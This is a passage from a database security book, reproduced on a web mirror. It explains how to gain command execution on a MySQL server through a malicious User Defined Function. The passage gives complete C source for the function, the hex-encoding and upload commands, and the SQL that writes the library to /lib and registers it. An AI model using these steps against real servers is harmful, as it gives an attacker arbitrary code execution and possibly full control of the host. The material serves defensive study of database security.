Running External Programs: User-Defined Functions

Running External Programs: User -Defined Functions

MySQL doesn't have a mechanism for directly running external programs, but (as has been mentioned before) it does have a mechanism for executing custom C/C++ functions in dynamically loaded libraries. This kind of function is termed a User Defined Function, or UDF, in MySQL.

This section takes you through the process of creating a malicious UDF, uploading it to the target host, installing it, and executing it. We touched on this previously in Chapter 17, "MySQL Architecture."

For background, uploading and executing a UDF is the code upload mechanism used by the MySQL worm that infected thousands of hosts in January 2005 ”the W32/Sdbot.worm.gen.j worm.

So, assuming you are an attacker, what do you want your malicious UDF to do? Well, a useful thing would be to be able to "select" the result of a shell command, something like the system function, except returning the output to MySQL.

The following is code for a sample UDF for the Linux platform (note that this is only an example). It executes the system function and returns the result as a string.

 #include <stdio.h> #include <stdlib.h> enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT}; typedef struct st_udf_args { unsigned int arg_count;      /* Number of arguments */ enum Item_result *arg_type;      /* Pointer to item_results */ char **args;            /* Pointer to argument */ unsigned long *lengths;      /* Length of string arguments */ char *maybe_null;            /* Set to 1 for maybe_null args */ } UDF_ARGS; typedef struct st_udf_init { char maybe_null;             /* 1 if function can return NULL */ unsigned int decimals;      /* for real functions */ unsigned long max_length;        /* For string functions */ char        *ptr;        /* free pointer for function data */ char const_item;      /* 0 if result is independent of arguments */ } UDF_INIT; char *do_system(UDF_INIT *initid, UDF_ARGS *args,           char *result, unsigned long *length,           char *is_null, char *error) {           int bufsiz = 1024 * 8, retlen;           char *buff = malloc( bufsiz );       int filedes[2];              if( args->arg_count != 1 )             return 0;       pipe( filedes );       dup2( filedes[1], 1 );       dup2( filedes[1], 2 );              system( args->args[0] );       memset( buff, 0, bufsiz );              read( filedes[0], buff, bufsiz - 1 );              retlen = strlen( buff ) + 1;       *length = retlen;       initid->ptr = buff;              return buff; } void do_system_deinit(UDF_INIT *initid) {       if( initid->ptr )             free( initid->ptr ); } 

This is a slightly more elaborate function than the one you saw in the previous chapter; this time you are returning the output of the command. Once this is compiled on an appropriate system and you have the binary ready (we conveniently omit the details of this process; it is necessary to have an appropriately similar system to hand in order for the binary to successfully load on the target), you can upload the binary using select . . . into dumpfile syntax.

The Linux xxd utility can be used to easily create a file containing the necessary hex encoded bytes, and the tr utility can be used to edit the bytes into a script that will insert them:

 xxd -p < so_system.so.0.0 > 1.txt tr -d \n < 1.txt > 2.txt 

You also need to create a temporary table with a single "blob" field, in order to output the file data. You create that table on the target server like this:

 create table btemp( a blob ); 

The data is then inserted via an insert statement, like this (but substituting the bytes for your library):

 insert into btemp values( 0x01abcdff... ); 

Once you have the contents of the file in a BLOB field in your temporary btemp table, you can then create the library file like this:

 select * from btemp into dumpfile '/lib/so_system.so.0.0'; 

Of course, this requires permissions to the lib directory, which the user that MySQL is running as may not have. Other possibilities are /usr/lib or any of the directories specified in the LD_LIBRARY_PATH environment variable, if it exists.

Once the library file has been placed on the system in an appropriate directory, you add the UDF function to MySQL like this:

 mysql> create function do_system returns string soname 'so_system.so.0.0'; Query OK, 0 rows affected (0.00 sec) 

The security impact of an attacker being able to upload and execute arbitrary code should be apparent ”in some cases it confers instant and total control of the host; in others the attacker may need to take advantage of a privilege elevation flaw in order to gain root access.



Database Hacker's Handbook. Defending Database Servers
The Database Hackers Handbook: Defending Database Servers
ISBN: 0764578014
EAN: 2147483647
Year: 2003
Pages: 156

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net